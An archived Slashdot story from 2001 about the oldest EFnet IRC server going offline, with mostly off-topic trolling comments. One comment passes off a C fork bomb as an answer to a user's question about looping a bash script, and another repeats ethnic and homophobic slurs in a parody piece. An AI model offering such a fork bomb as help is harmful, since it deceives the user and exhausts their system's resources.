Oldest IRC Server Going Offline

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Oldest IRC Server Going Offline

Posted by timothy on Sunday December 9, 2001 @12:27PM from the /msg-grimreaper-go-away dept.

Matty_ writes: "Looks like the oldest IRC server in continued operation on the Internet is going to be turned off for good. According to the server's MOTD, the server will be shut off no later than January 1. Aparently the University of Colorado can no longer support the software and hardware, as well as provide the network resources, specifically the extra bandwidth required for the various DoS (Denial of Service) attacks from which EFnet servers still suffer. They chose not to accept the liability and decided to retire the server."

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ep by Anonymous Coward · 2001-12-09 12:30 · Score: -1, Offtopic

I claim this Early Post for Goatse Men everywhere!
It's really too bad... by Transutus · 2001-12-09 12:31 · Score: -1, Offtopic

What about from this angle? AC IRC NEWS
offtopic but.. by Anonymous Coward · 2001-12-09 12:31 · Score: -1, Offtopic

does anybody know how to make a bash script repeat itself infinitely?
att@home is really pissing me off, require constant renewal of DHCP leases.
1. Re:offtopic but.. by foonf · 2001-12-09 13:31 · Score: 0, Offtopic
  
  att@home is really pissing me off, require constant renewal of DHCP leases.
  
  Don't do it that way. Figure out how often, minimum, you need to have it done, and then use cron. Thats what its there for.
  
  --
  
  "(Man) tries to live his own life as if he were telling a story. But you have to choose: live or tell." --Sartre
Not First Post by Anonymous Coward · 2001-12-09 12:32 · Score: -1, Offtopic

This is not the first post so you may ignore it.
1 ST by Anonymous Coward · 2001-12-09 12:33 · Score: -1, Offtopic

POST! I rule!
Ah the sadness of it all by imrdkl · 2001-12-09 12:35 · Score: 0, Offtopic

> But ICQ is proprietary!?!?!
you want a fork bomb by Anonymous Coward · 2001-12-09 12:38 · Score: -1, Offtopic

this is better...

int main() {
while(malloc(100000))
fork();
return 0;
}

I believe that will produce the effects you desire.
another sadness... by Transutus · 2001-12-09 12:43 · Score: -1, Offtopic

http://fly.to/mp3z4free is going down too...
MOD PARENT UP by Anonymous Coward · 2001-12-09 12:52 · Score: -1, Offtopic

he made the 14m327 effort for karma zxwvhoring
Re:THIS MESSAGE IS AN I.Q. TEST FOR MODERATORS by Anonymous Coward · 2001-12-09 13:42 · Score: -1, Offtopic

Dude, looks like you caught your first idiot moderator ;-)
Re:EFnet history by Transutus · 2001-12-09 13:44 · Score: -1, Offtopic

Cool!
Re:special treatment by Anonymous Coward · 2001-12-09 13:48 · Score: -1, Offtopic

They don't teach geography in Omaha?

You're in the Great Plains, not the midwest. Ohio, Indiana -- that's midwest. Hell, you're in the Upper Great Plains.
Re:sad, sad by Anonymous Coward · 2001-12-09 13:50 · Score: -1, Offtopic

Your sig is broken.
word by Anonymous Coward · 2001-12-09 15:20 · Score: -1, Offtopic

Polish Rapper Under Fire For Use Of The Word 'Polack'
DETROIT-- MC Krakow, a popular Detroit-based rapper of Polish descent, came under fire Tuesday for his use of the word 'Polack' on his new album World Warsaw III. "When MC Krakow casually uses the P-word, it dredges up decades of hurtful portrayals and cruel jokes for our people," said Sandy Serwacki, president of the Polish Anti-Defamation Society. "In just the song 'Ten-Inch Pierogie' alone, he uses the word 27 times." In an official statement, MC Krakow defended his use of the word: "When I say, 'Y'all be my Polacks,' or 'Yo, what up, Polack?,' it's my way of taking the word back. Our people need to re-claim and embrace 'Polack' with pride, just like Eminem did with the word 'faggot.'"